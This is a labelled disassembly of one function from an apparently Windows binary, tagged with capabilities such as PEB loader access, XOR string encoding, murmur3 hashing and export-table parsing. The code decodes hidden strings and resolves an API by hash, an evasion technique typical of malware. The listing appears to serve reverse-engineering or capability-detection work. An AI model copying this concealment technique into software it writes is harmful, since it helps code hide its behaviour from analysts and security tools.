Function at 0x403920
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42221f
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xd8
mov eax, dword [0x42e040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
movq qword [ebp - 0x20], xmm0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x44fc3b52
mov dword [ebp - 0x24], 0x6fa83ccf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x97f839c2
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x21955901
mov dword [ebp - 0x24], 0x41c4508b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403a08
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00409e90
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x4fdc2152
mov dword [ebp - 0x24], 0x2da834a5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x21955901
mov dword [ebp - 0x24], 0x41c4508b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403ac0
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0xc8]
call fcn.00409e90
mov byte [ebp - 4], 1
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0xfa73f52
mov dword [ebp - 0x24], 0x41a83cef
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x21955901
mov dword [ebp - 0x24], 0x41c4508b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0xb0], xmm0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403b75
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0xb0]
call fcn.00409e90
mov byte [ebp - 4], 2
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x49ed3772
mov dword [ebp - 0x24], 0x2da07ee0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x979455ca
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x21955901
mov dword [ebp - 0x24], 0x41c4508b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403c30
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00409e90
mov byte [ebp - 4], 3
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0x57f13462
mov dword [ebp - 0x24], 0x73f724f9
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0xfbf83188
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x28], 0x21955901
mov dword [ebp - 0x24], 0x41c4508b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x979455a6
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0x2c2cb84a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x40]
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x48], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x40], xmm1
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403ce0
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x80]
call fcn.00409e90
lea ecx, [ebp - 0xe0]
mov dword [ebp - 4], 4
push ecx
lea eax, [ebp - 0x68]
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.00408420
push 0x4088b0
push 5
push 0x18
lea eax, [ebp - 0xe0]
mov byte [ebp - 4], 6
push eax
call fcn.0040b333
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x24], ecx
cmp eax, ecx
je 0x403e66
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x64], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x60], ecx
cmp ecx, esi
je 0x403e1e
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x403e1e
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
nop dword [eax]
sub ecx, 4
dec edx
mov dword [ebp - 0x5c], ecx
mov edi, 0x88c1d985
mov dword [ebp - 0x54], edx
mov ecx, dword [ecx]
add ecx, esi
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x403e10
nop word [eax + eax]
movsx esi, dl
lea ecx, [ecx + 1]
imul edx, esi, 0xcc9e2d51
ror edx, 0x11
imul edx, edx, 0x1b873593
xor edx, edi
ror edx, 0x13
add edx, 0xfaddaf14
lea edi, [edx + edx*4]
imul edx, esi, 0x51000000
ror edx, 0x11
imul edx, edx, 0x1b873593
xor edi, edx
xor edi, 1
mov edx, edi
shr edx, 0x10
xor edx, edi
imul esi, edx, 0x85ebca6b
mov edx, esi
shr edx, 0xd
xor edx, esi
imul esi, edx, 0xc2b2ae35
mov edx, esi
shr edx, 0x10
xor edx, esi
imul edi, edx, 0x539
mov dl, byte [ecx - 1]
test dl, dl
jne 0x403da0
cmp edi, 0x5b228e0b
je 0x403e25
mov esi, dword [eax + 0x18]
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x5c]
test edx, edx
jne 0x403d80
mov eax, dword [eax]
jmp 0x403d50
mov esi, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x64]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [ebp - 0x58]
lea eax, [eax + ecx*4]
mov ecx, esi
mov eax, dword [eax + edx]
add eax, edx
cmp dword [esi + 0x14], 0xf
jbe 0x403e50
mov ecx, dword [esi]
push ecx
call eax
test eax, eax
jne 0x403e93
add esi, 0x18
mov dword [ebp - 0x58], esi
cmp esi, dword [ebp - 0x24]
jne 0x403d40
mov byte [ebp - 0x29], 0
lea ecx, [ebp - 0x20]
call fcn.00408e90
mov al, byte [ebp - 0x29]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040b0b1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov byte [ebp - 0x29], 1
jmp 0x403e6a